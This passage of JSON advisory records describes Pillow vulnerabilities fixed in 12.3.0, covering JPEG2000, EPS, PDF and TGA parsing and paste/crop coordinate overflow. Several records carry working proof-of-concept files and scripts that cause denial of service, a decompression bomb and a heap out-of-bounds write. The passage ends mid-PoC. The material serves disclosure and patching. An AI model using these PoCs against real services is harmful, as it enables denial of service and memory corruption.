`cmsDoTransform()`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:19:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6","https://nvd.nist.gov/vuln/detail/CVE-2026-59205","https://github.com/python-pillow/Pillow/pull/9715","https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-9hw9-ch79-4vh6"],"source_kind":"github","identifiers":["GHSA-9hw9-ch79-4vh6","CVE-2026-59205"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-08-14T00:01:01.468Z","epss_percentage":0.00385,"epss_percentile":0.31527,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aHc5LWNoNzktNHZoNs4ABcRb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05aHc5LWNoNzktNHZoNs4ABcRb","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aHc5LWNoNzktNHZoNs4ABcRb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12amM0LTVxcDUtbTQ0as4ABcRa","url":"https://github.com/advisories/GHSA-vjc4-5qp5-m44j","title":"Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service","description":"### Summary\n`src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state-\u003ebuffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.\n\n### Details\n- Location: `src/libImaging/Jpeg2KDecode.c:853`\n- Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles.\n- Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state-\u003ebuffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`.\n- Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding.\n\n\n### PoC\nThe attached helper script and testcase were used:\n[exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip)\n\n\nGenerate the testcase:\n\n```bash\npythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \\\n  --size 3664 --tile 1832\n```\n\nExpected geometry from the helper:\n\n- image size: `3664 x 3664`\n- mode: `RGBA`\n- tile size: `1832 x 1832` (`2x2` tiles)\n- `image_bytes=53699584`\n- uncapped RSS observed:\n  - vulnerable build: `maxrss_kb=180264`\n  - fixed comparison build: `maxrss_kb=138404`\n\nLoad it with the current vulnerable build:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2\n```\n\nLoad it again under a 160 MB address-space cap:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160\n```\n\n### Impact\nConservative impact: denial of service through memory exhaustion during JPEG2000 decoding.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:18:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j","https://nvd.nist.gov/vuln/detail/CVE-2026-59204","https://github.com/python-pillow/Pillow/pull/9704","https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-vjc4-5qp5-m44j"],"source_kind":"github","identifiers":["GHSA-vjc4-5qp5-m44j","CVE-2026-59204"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-08-19T22:00:39.676Z","epss_percentage":0.00393,"epss_percentile":0.325,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12amM0LTVxcDUtbTQ0as4ABcRa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12amM0LTVxcDUtbTQ0as4ABcRa","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003e= 8.2.0, \u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12amM0LTVxcDUtbTQ0as4ABcRa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZzd2LWp3ajctcDc5OM4ABcRZ","url":"https://github.com/advisories/GHSA-pg7v-jwj7-p798","title":"Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service","description":"### Summary\n\nPillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.\n\nThe issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.\n\nConfirmed affected versions: Pillow 12.0.0 through 12.2.0.\n\n### Details\n\nThe issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.\n\nRelevant code:\n\n    elif bytes_mv[:14] == b\"%%BeginBinary:\":\n        bytecount = int(byte_arr[14:bytes_read])\n        self.fp.seek(bytecount, os.SEEK_CUR)\n\nThere is no validation that bytecount is non-negative.\n\nIf an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.\n\nIn local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.\n\n### PoC\n\nSave the following content as pillow_eps_beginbinary_dos.eps:\n\n    %!PS-Adobe-3.0 EPSF-3.0\n    %%BoundingBox: 0 0 1 1\n    %%EndComments\n    % dummy comment after transition\n    %%BeginBinary:-18\n    %%EOF\n\nThen run:\n\n    python -m pip install \"Pillow==12.2.0\"\n\n    python - \u003c\u003c'PY'\n    from PIL import Image\n    Image.open(\"pillow_eps_beginbinary_dos.eps\")\n    PY\n\nExpected behavior: Pillow should reject the malformed EPS file with a parser exception.\n\nActual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.\n\nThe loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:\n\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n\n### Impact\n\nThis is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().\n\nThis can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.\n\nSuggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T23:11:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798","https://nvd.nist.gov/vuln/detail/CVE-2026-59203","https://github.com/python-pillow/Pillow/pull/9708","https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-pg7v-jwj7-p798"],"source_kind":"github","identifiers":["GHSA-pg7v-jwj7-p798","CVE-2026-59203"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-07-26T14:00:25.489Z","epss_percentage":0.00399,"epss_percentile":0.32567,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZzd2LWp3ajctcDc5OM4ABcRZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZzd2LWp3ajctcDc5OM4ABcRZ","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003e= 12.0.0, \u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZzd2LWp3ajctcDc5OM4ABcRZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qamo2LW13OWYtcDU2Nc4ABcRY","url":"https://github.com/advisories/GHSA-jjj6-mw9f-p565","title":"Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()","description":"### Summary\n`PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.\n\n### Details\n`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:\n\n```python\n# PIL/PdfParser.py — PdfStream.decode()\nclass PdfStream:\n    def decode(self) -\u003e bytes:\n        try:\n            filter = self.dictionary[b\"Filter\"]\n        except KeyError:\n            return self.buf\n        if filter == b\"FlateDecode\":\n            try:\n                expected_length = self.dictionary[b\"DL\"]\n            except KeyError:\n                expected_length = self.dictionary[b\"Length\"]\n            return zlib.decompress(self.buf, bufsize=int(expected_length))\n            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.\n            #  zlib.decompress() allocates as much memory as needed regardless.\n```\n\nFrom the Python documentation: *\"The `bufsize` parameter is used as the initial size of the output buffer.\"* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.\n\n`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.\n\n**Confirmed reachable path:**\n```python\nwith PdfParser.PdfParser(\"evil.pdf\") as pdf:\n    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)\n    data = stream_obj.decode()   # ← OOM here\n```\n\n\n### PoC\n\n```python\nimport zlib, tempfile, os, time\nfrom PIL import PdfParser\n\n# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)\nEXPAND_MB = 100\nraw = b'\\x00' * (EXPAND_MB * 1_000_000)\ncompressed = zlib.compress(raw, level=9)   # ~97 KB\n\nbuf = b'%PDF-1.4\\n'\no1 = len(buf); buf += b'1 0 obj\\n\u003c\u003c /Type /Pages /Kids [] /Count 0 \u003e\u003e\\nendobj\\n'\no2 = len(buf); buf += b'2 0 obj\\n\u003c\u003c /Type /Catalog /Pages 1 0 R \u003e\u003e\\nendobj\\n'\no3 = len(buf)\nhdr = f'\u003c\u003c /Filter /FlateDecode /Length {len(compressed)} \u003e\u003e'.encode()\nbuf += b'3 0 obj\\n' + hdr + b'\\nstream\\n' + compressed + b'\\nendstream\\nendobj\\n'\nxref = len(buf)\nbuf += b'xref\\n0 4\\n0000000000 65535 f \\n'\nfor off in [o1, o2, o3]:\n    buf += f'{off:010d} 00000 n \\n'.encode()\nbuf += b'trailer\\n\u003c\u003c /Size 4 /Root 2 0 R \u003e\u003e\\nstartxref\\n' + str(xref).encode() + b'\\n%%EOF\\n'\n\nprint(f\"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)\")\n\nwith tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:\n    f.write(buf); tmpname = f.name\n\nwith PdfParser.PdfParser(tmpname) as pdf:\n    obj, _ = pdf.get_value(pdf.buf, o3)\n    t = time.time()\n    decoded = obj.decode()\n    print(f\"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s\")\n\nos.unlink(tmpname)\n```\n\n**Actual output (Pillow 12.1.1, Python 3.12):**\n```\nPDF size: 97,538 bytes (95.3 KB)\nDecoded: 100,000,000 bytes in 0.265s\n```\n\n**Measured expansion:**\n\n| PDF file size | Memory allocated | Ratio | Wall time |\n|---|---|---|---|\n| 10 KB | 10 MB | 1,026× | 0.024 s |\n| 95 KB | 100 MB | 1,028× | 0.265 s |\n| 475 KB | 500 MB | 1,028× | 1.279 s |\n| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |\n\n### Impact\nThis is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.\n\n**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six.\n\n**Suggested fix:**\n\n```python\nMAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap\n\ndef decode(self) -\u003e bytes:\n    ...\n    if filter == b\"FlateDecode\":\n        ...\n        result = zlib.decompress(self.buf, bufsize=int(expected_length))\n        if len(result) \u003e MAX_DECOMPRESS_BYTES:\n            msg = \"Decompressed stream exceeds maximum allowed size\"\n            raise ValueError(msg)\n        return result\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:11:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565","https://nvd.nist.gov/vuln/detail/CVE-2026-59200","https://github.com/python-pillow/Pillow/pull/9718","https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-jjj6-mw9f-p565"],"source_kind":"github","identifiers":["GHSA-jjj6-mw9f-p565","CVE-2026-59200"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-08-14T00:01:01.468Z","epss_percentage":0.00385,"epss_percentile":0.31527,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qamo2LW13OWYtcDU2Nc4ABcRY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qamo2LW13OWYtcDU2Nc4ABcRY","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qamo2LW13OWYtcDU2Nc4ABcRY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cjh4LTU3YzktMjhqNM4ABcRX","url":"https://github.com/advisories/GHSA-6r8x-57c9-28j4","title":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","description":"### Summary\n\nPillow's public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 \u003c\u003c 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 \u003c\u003c 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", \u0026source, \u0026x0, \u0026y0, \u0026x1, \u0026y1, ...);\nstatus = ImagingPaste(self-\u003eimage, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize \u003e imOut-\u003exsize) {\n    xsize = imOut-\u003exsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut-\u003eimage[y + dy] + dx, imIn-\u003eimage[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 \u003c\u003c 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size        =  4 * W\nwrite range          = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2         -\u003e writes 8 bytes before the row\nW = 1024      -\u003e writes 4096 bytes before the row\nW = 65536     -\u003e writes 256 KiB before the row\nW = 1000000   -\u003e writes about 4 MiB before the row\n```\n\nPillow's image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 \u003c\u003c 31)\n\n\ndef rgba_pattern(width):\n    out = bytearray()\n    for i in range(width):\n        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n    return bytes(out)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"variant\",\n        choices=(\"paste\", \"crop\", \"alpha\"),\n        nargs=\"?\",\n        default=\"paste\",\n    )\n    parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n    args = parser.parse_args()\n\n    width = args.width\n    src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n    if args.variant == \"paste\":\n        box = ((1 \u003c\u003c 31) - width, 0, INT_MIN, 1)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=paste box={box}\")\n        print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n        sys.stdout.flush()\n        dst.paste(src, box)\n        print(\"paste returned; first row:\", dst.tobytes().hex())\n\n    elif args.variant == \"crop\":\n        left = INT_MIN + width\n        box = (left, 0, left + width, 1)\n        print(f\"variant=crop box={box}\")\n        sys.stdout.flush()\n        out = src.crop(box)\n        print(\"crop returned; output:\", out.tobytes().hex())\n\n    else:\n        dest = (INT_MIN + width, 0)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=alpha dest={dest}\")\n        sys.stdout.flush()\n        dst.alpha_composite(src, dest=dest)\n        print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n    sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 \u003c 0 || ysize64 \u003c 0 || xsize64 \u003e INT_MAX || ysize64 \u003e INT_MAX) {\n    return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn-\u003exsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:09:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4","https://nvd.nist.gov/vuln/detail/CVE-2026-59199","https://github.com/python-pillow/Pillow/pull/9703","https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-6r8x-57c9-28j4"],"source_kind":"github","identifiers":["GHSA-6r8x-57c9-28j4","CVE-2026-59199"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-08-14T00:01:01.469Z","epss_percentage":0.00385,"epss_percentile":0.31527,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjh4LTU3YzktMjhqNM4ABcRX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cjh4LTU3YzktMjhqNM4ABcRX","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjh4LTU3YzktMjhqNM4ABcRX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1majd2LXI5OW0tMjJncc4ABcRW","url":"https://github.com/advisories/GHSA-fj7v-r99m-22gq","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"### Summary\n\nPillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"`\nimage. Adjacent process heap bytes can be copied into the generated TGA file.\n\nThe bug is reachable through the public save API:\n\n```python\nim.save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nOlder affected Pillow versions use the equivalent public option `rle=True`.\n\nFor mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)`\nbytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.\n\nThe maximum valid TGA width is `65535`. At that width:\n\n```text\nallocated packed row buffer: 8192 bytes\nencoder byte-offset walk:     65535 bytes\nmaximum OOB window per row:   57343 bytes\n```\n\nOn non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized\n`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,\ncovering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,\nprivate API, or malformed input file was used. The disclosure is emitted across\nmany TGA packet payload copies of at most `128` bytes each, not one large\n`memcpy()`.\n\n### Details\n\n`src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the\n`tga_rle` encoder when RLE compression is requested.\n\n`src/encode.c:_setimage()` allocates the row buffer using the packed-bit\nformula:\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nFor mode `\"1\"`, `state-\u003ebits == 1`.\n\n`src/libImaging/TgaRleEncode.c` then computes:\n\n```c\nbytesPerPixel = (state-\u003ebits + 7) / 8;\n```\n\nThis becomes `1`, and the encoder uses pixel indexes as byte offsets:\n\n```c\nstatic int\ncomparePixels(const UINT8 *buf, int x, int bytesPerPixel) {\n    buf += x * bytesPerPixel;\n    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;\n}\n```\n\nThe packet payload `memcpy()` later copies those out-of-bounds source bytes into\nthe output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy\none representative byte:\n\n```c\nmemcpy(\n    dst, state-\u003ebuffer + (state-\u003ex * bytesPerPixel - state-\u003ecount), flushCount\n);\n```\n\nA width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN\nheap-buffer-overflow read. Wider images increase the adjacent heap window and\nthe amount of heap data that can be serialized.\n\n### PoC\n\n#### Minimal ASAN trigger\n\n```python\nimport io\nfrom PIL import Image\n\nout = 